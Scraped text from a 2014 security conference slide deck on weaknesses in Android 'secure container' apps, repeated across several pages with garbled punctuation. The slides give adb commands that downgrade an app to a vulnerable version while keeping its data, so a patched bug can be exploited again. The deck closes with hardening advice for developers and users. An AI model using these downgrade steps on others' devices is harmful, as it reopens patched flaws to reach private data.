  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 169: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 170: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 171: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 172: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
